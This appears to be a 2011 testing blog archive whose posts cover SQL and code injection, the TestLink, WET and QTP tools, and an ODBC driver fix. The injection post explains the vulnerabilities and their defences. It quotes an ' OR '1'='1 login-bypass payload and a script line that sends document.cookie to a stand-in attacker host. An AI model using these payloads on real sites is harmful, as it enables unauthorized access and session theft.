Wednesday, 30 November 2011

What is SQL injection

SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application.
It is insertion or “injection” of a SQL query via the input data from the client to the application.
“An attack technique used to exploit web sites by altering back-end SQL statements through manipulating application input.”
How it happens?
For example, consider a web page has two fields to allow users to enter
1. User name
2. Password.
The code behind the page will generate a SQL query to check the password against the list of user names:
SELECT UserList.Username FROM UserList WHERE
UserList.Username = ‘Username’ AND
UserList.Password = ‘Password’
if this query returns any rows, then access is granted.
However, if the malicious user enters a valid Username and injects some valid code (“password’ OR ’1′=’1″) in the Password field, then the resulting query will look like this:
SELECT UserList.Username FROM UserList WHERE
UserList.Username = ‘Username’ AND UserList.Password = ‘password’ OR ’1′=’1′
In the example above, “Password” is assumed to be blank or some innocuous string. “’1′=’1′” will always be true and many rows will be returned, thereby allowing access.
Causes of SQL Injection Vulnerability
SQL Injection happens when a developer accepts user input that is directly placed into a SQL Statement and doesn’t properly filter out dangerous characters.
These vulnerabilities that can occur whenever one programming or scripting language is embedded inside another.
How the Attacker’s works??
Attackers commonly insert single quotes (‘) into a URL’s query string, or into a forms input field to test for SQL Injection. If an attacker receives an error message like the one below, there is a good chance that the application is vulnerable to SQL Injection.
Error message:-
Microsoft OLE DB Provider for ODBC Drivers error ’80040e14′ [Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the keyword ‘or‘ /wasc.asp, line 69.
Effects of SQL Injection:
A successful SQL injection allow attackers to
– tamper with existing data
– read
– modify database data (Insert/Update/Delete)
– execute administration operations on the database (such as shutdown the
DBMS)
destroy the data or make it otherwise unavailable.
Where and why it Occur??
Where:- SQL Injection is very common with PHP and ASP applications
Why:-
1. Due to the prevalence of older functional interfaces.
2. Due to the nature of programmatic interfaces available.
How to avoid??
There are three complementary and successful methods of mitigating SQL Injection attacks:
1. Parameterized queries using bound, typed parameters.
2. Careful use of parameterized stored procedures.
3. Least privilege connections.
Parameterized queries are the easiest to adopt, and work in fairly similar ways among most web technologies in use today, including:
Java EE, .NET, PHP
Parameterized Queries with Bound Parameters
It keeps the query and data separate through the use of placeholders known as “bound” parameters. For example in Java, this looks like this:
“select * from table where column a=? and column b=?”
The developer must set values for the two? placeholders.
Note:-
Using this syntax without actually using the placeholders and setting values provides no protection against SQL injection
Parameterized Stored Procedures:
It is an effective mechanism to avoid most forms of SQL Injection.
In combination with parameterized bound queries, it is very unlikely that SQL injection will occur within your application.
Dynamic code execution features can allow SQL Injection,
create proc DynamicSQL(@userName nvarchar(25)) as
declare @sql nvarchar(255)
set @sql = ‘select * from users where UserName = + @userName + ‘ exec sp_executesql @sql
Least privilege connections:
Always use accounts with the minimum privilege necessary for the application at hand, never use name as
“sa”, “dba”, “admin”, or the equivalent.
What is Code injection?
Code injection is the exploitation of a computer bug that is caused by processing invalid data.
Code injection can be used by an attacker to introduce (or “inject”) code into a computer program to change the course of execution.
Example
A web server has a “Guest book” script, which accepts small messages from users, and typically receives messages such as
Very Nice site!
However a malicious person may know of a code injection vulnerability in the “Guest book”, and enters a message such as
Nice Site, I think I’ll take it.> document.location=’http://some_attacker/cookie.cgi?’ +document.cookie
If another user views the page then the injected code will be executed. This code can allow the attacker to Represent another user. However this same software bug can be accidentally triggered by an unassuming user which will cause the website to display bad HTML code.
Security vulnerabilities
Term vulnerability is applied to a weakness in a system which allows an attacker to violate the integrity of that system.
Vulnerabilities may result from
– weak passwords.
– software bugs.
– computer virus.
-script code injection & SQL injection.
Causes of SQL injection
Password Management Flaws:
– user uses weak passwords that could be discovered.
– user stores the password on the computer where a
program can access it
– Users re-use passwords between many programs and
websites.
Fundamental Application Design Flaws – application
designer chooses to enforce sub optimal policies on
user/program management.
For example,
Default permit grant every program and every
user full access to the entire computer. This operating
system flaw allows viruses to execute commands on behalf
of the administrator.
Software Bugs
– Sometime, programmer leaves an exploitable bug in a software program. Those software bug may allow an attacker to misuse an application through “Unchecked User Input”.
The program assumes that all user input is safe. Programs that do not check user input can allow unintended direct execution of commands or SQL statements (known as Buffer overflows, SQL injection).
Examples of vulnerabilities
Common types of vulnerabilities
Memory safety violations, such as:
Buffer overflows
Dangling pointers
Input validation errors, such as:
Format string bugs
Improperly handling shell metacharacters so they are interpreted
SQL injection
Code injection
E-mail injection
Directory traversal
Cross-site scripting in web applications
HTTP header injection
HTTP response splitting
Race conditions, such as:
Time-of-check-to-time-of-use bugs
Symlink races

System Requirement for TestLink

We support www browsers Firefox 1.0 (and higher) and Internet Explorer 6. There are
some issues with IE 7 because microsoft doesn’t satisfy standards. Generally any other
browser should work if it suports javascript, XHTML and CSS.
TestLink server requires these applications as background:
Database • MySQL 4.1.x and higher (4.0.x doesn’t support UTF-8)
• Postgres 8.x and higher
• MS SQL 2000 and higher (experimental)
• php 5.x and higher (at least version 5.2 is recommended)
• Webserver (Apache 1.3.x or 2.x and higher, IIS 3 and higher, etc.).
Bug tracking system (optional) 
• Bugzilla 0.19.1 and higher
• Mantis 1.0.1 and higher
• JIRA 3.1.1 and higher
• TrackPlus 3.3 and higher
• Eventum 2.0 and higher
• Trac 0.10 and higher
• There is no requirement about your operating system (tested on Linux and MS Win32).
You can run also your database on different server than TestLink php scripts.

TestLink

Testlink is a Test Case Management tool
TestLink enables easily to create and manage Test cases as well as organize them into Test plans. These Test plans allow team members to execute Test cases and track test results dynamically, generate reports, trace software requirements, prioritize and assign tasks. Read more about implemented features and try demo pages.
The tool has web based interface with PHP and background database MySQL, Postgres or MS-SQL. It cooperates with known Bug tracking systems as is Bugzilla, Mantis, etc.
TestLink is web based tool under the GPL (General Public license -free to use). The project is maintained by Open community of testers. Many developers on the team hold Quality Assurance Management positions and understand the needs of QA teams. Improve your testing processes and lifecycle with us. TestLink makes Testing process easy and organized.
TestLink is a Web-based Test management and software testing execution tool. The community project is Open Source under the GPL license.
Main features
• Products tested in Test Plans, according to Standard testing procedures. See IEEE 829.
• Users have defined roles (for example: Leader, Tester, Guest)
• Test cases organized in a hierarchical structure and holds traceable history
• Keyword support, allowing greater depth in test organization
• Testing prioritization, tester-specific assignment, and milestone definitions
• Reporting and test metrics
• Documentation export to HTML, MS Word and MS Excel
• Direct e-mailing of reports from the tool
• Localisation and internationalization (into English, French, German, Italian, Spanish, Brazilian Portuguese, Polish, Czech, etc.)
• Direct collaboration with bug tracking systems
• Requirements-based testing (include SRS repository)
• SOAP API for collaboration with functional testing tools
• Browser: Firefox 1.0 or higher, or IE 6 (not IE 7)1
• Database: MySQL 4.1.x and higher; Postgres 8.x and higher; or MS SQL 2000 and higher (experimental)
• Scripting Language: PHP 5.0 or higher (at least 5.2 is recommended)
• Web server: (Apache 1.3.x or 2.x and higher, IIS 3 and higher)

Tuesday, 29 November 2011

Segue Software Org.

Segue Software delivers the industry’s premier e-business reliability products and solutions to help you address the risks and complexities that can affect the performance and quality of your e-business system.
  • SilkTest – Automated functional and regression testing
  • SilkPerformer – Automated load and performance testing
  • SilkMonitor – 24×7 monitoring and reporting of Web, application and database servers
  • SilkPilot – Unit testing of CORBA objects
  • SilkObserver – End-to-end transaction management and monitoring for CORBA applications
  • SilkMeter - Access control and usage metering
  • SilkRealizer - Scenario testing and system monitoring
  • SilkRadar – Automated defect tracking

Monday, 28 November 2011

ERROR [IM002] [Microsoft][ODBC Driver Manager] Data source name not found and no default driver specified.

I was facing this problem. My system configuration is Windows7, 64bit and office 2007. When I was trying to create my own DSN file using (Control panel- Admin Tools- Data Source (ODBC)), but I was getting following error messages.







Here is solution for you if you are facing the same problem,
Step1: Download and install "AccessDatabaseEngine.exe" file from (http://www.microsoft.com/download/en/details.aspx?id=13255)
Step2: Open folder with "C:\Windows\SysWOW64\odbcad32.exe"
Now system will allow you to create DSN file.
Cheers.... 

WET Functional Testing Tool

WET is a opensource web automation testing tool which uses Watir as the library to drive web pages. You dont have to download / install Watir separately or know anything about Watir. Watir is the library that WET uses and it is automatically installed for you.
WET drives an IE Browser directly and so the automated testing done using WET is equivalent to how a user would drive the web pages. Using WET, you can perform all the operations required for testing web applications – like automatically clicking a link, entering text in a textfield, clicking a button etc. WET allows you to perform various checks as a part of the testing process by using Checkpoints.
WET uses Ruby, a powerful object oriented scripting language. that lets you acheive just about any level of automation that they require.
Latest release:  1.0.0
To Download the WET Release 1.0.0, link here
Parametrize tests 
Two ways:
1.       Regular
e.g.
param1 = transaction_parameter(1)
param2 = transaction_parameter(2)
 Browser(“title” => “Arrow Emblems : Login”).TextField(“label” => “User ID:”).set param1
Browser(“title” => “Arrow Emblems : Login”).TextField(“label” => “Password:”).set param2
2. Data-driven tests using datatables
Put this into ur script & use the Datasheet which is stored at particular location which is used as follows,
Use datatables :- The use of datatables allows the same test script to be easily reused against multiple data inputs. These data inputs are specified in either a excel datasheet, an xml file or in a csv format. To allow a script to use datatables, these scripts must be designed such that they can accept parameters.
For more information, please go to the link as given below,
The concept of datatables is used to test more than one set of data for the same test scripts. For example if you have a script that tests registration, then you can test the script for different categories of data without having to rewrite the scripts for each test. The most common way to use datatables is to retreive data from a table or spreadsheet.
WET supports datatable through Microsoft Excel or by using a XML based datatable. The limitation is that every test can only retrieve data from one single excel file. The required data must be stored in the first worksheet. The format for entering data in a datatable is as follows:
  1. Data must be stored in the first worksheet of the specified excel spreadsheet.
  1. The first row of the spreadsheet represents the data ‘fields’. For example, in an employee datatable, the fields may be a) Employee ID, b) First name, c) Last Name, d) Date of Birth and e) Date of joining.
  1. The first column of the spreadsheet represents the category of data. During any testing assignment, one of the tester’s goal is to test the application for various categories of data. For example, you may want to test the employee database for a) first employee,
    b) last employee, c) Employee who barely qualifies as eligible to work, d) Employee who is a senior citizen, etc.,
For the above case, the spreadsheet looks as follows:
While running the tests, to retrieve data, you can use the utility method,
datatable().item(field, category)
Your script to create an employee could then look like:
Employee datatable example
all_data=["first_emp", "new_emp", "young_dude", "elderly_sir"]

all_data.each do |dt|
    Browser(...).TextField("name:=empId").set datatable().item("id", dt)
    Browser(...).TextField("name:=fname").set datatable().item("fname", dt)
    ..
    ..
end
eg. 
Script:
all_data=["first", "second"]
all_data.each do |dt| 
Browser(“title” => “Arrow Emblems : Login”).TextField(“label” => “User ID:”).set datatable().item(“User_id”, dt)
Browser(“title” => “Arrow Emblems : Login”).TextField(“label” => “Password:”).set datatable().item(“Password”, dt)
Clearly the above utility provides a very simple yet organized way of testing the same scenario using multiple data.
Instead of using an Excel sheet, you could also use an xml syntax. The XML schema for the datatable is:
XML Datatable schema.  If the Datatable is in an XML Format, then an example is :
<data>
  <category name='general'>
     <Item name="firstname" value="Me" />
     <Item name="lastname" value="Exists" />
     <Item name="employeeid" value="001" />
     <Item name="age" value="34" />
  </category>

  <category name='boundary'>
     <Item name="firstname" value="New" />
     <Item name="lastname" value="Girl" />
     <Item name="employeeid" value="100" />
     <Item name="age" value="26" />
  </category>
    <!-- You can have many more categories here -->
</data>

Whats new in QTP 9.2

Following are the new features in QTP 9.2
  • Mercury Screen Recorder. Capture your entire run session in a movie clip or capture only the segments with errors, and then view your movie from the Test Results window.
  • Dynamic Management of Object Repositories. Programmatically manage an action’s shared object repository collection during the test run
Mercury Screen Recorder 
You can instruct QuickTest to save a movie of your entire run session or to capture only the segments surrounding errors or warnings that occur. This can be useful to help you see how your application behaved under test conditions or to debug your test or component. You can view the entire movie or select a particular segment to view.
When you select a step in the test results tree and click the Screen Recorder tab, the right pane of the Test Results window displays the frame in the movie corresponding to the highlighted step in the test results tree.
Once you have a movie stored with your test results, you can export the movie file or attach the movie file to the defects you report to Quality Center. You can also use the Mercury Micro Player if you want to watch a captured movie without opening QuickTest.
You can customize the criteria QuickTest uses to save movies in the Run tab of the Options dialog box. You can also set preferences that affect the performance during the movie capture and the movie file size.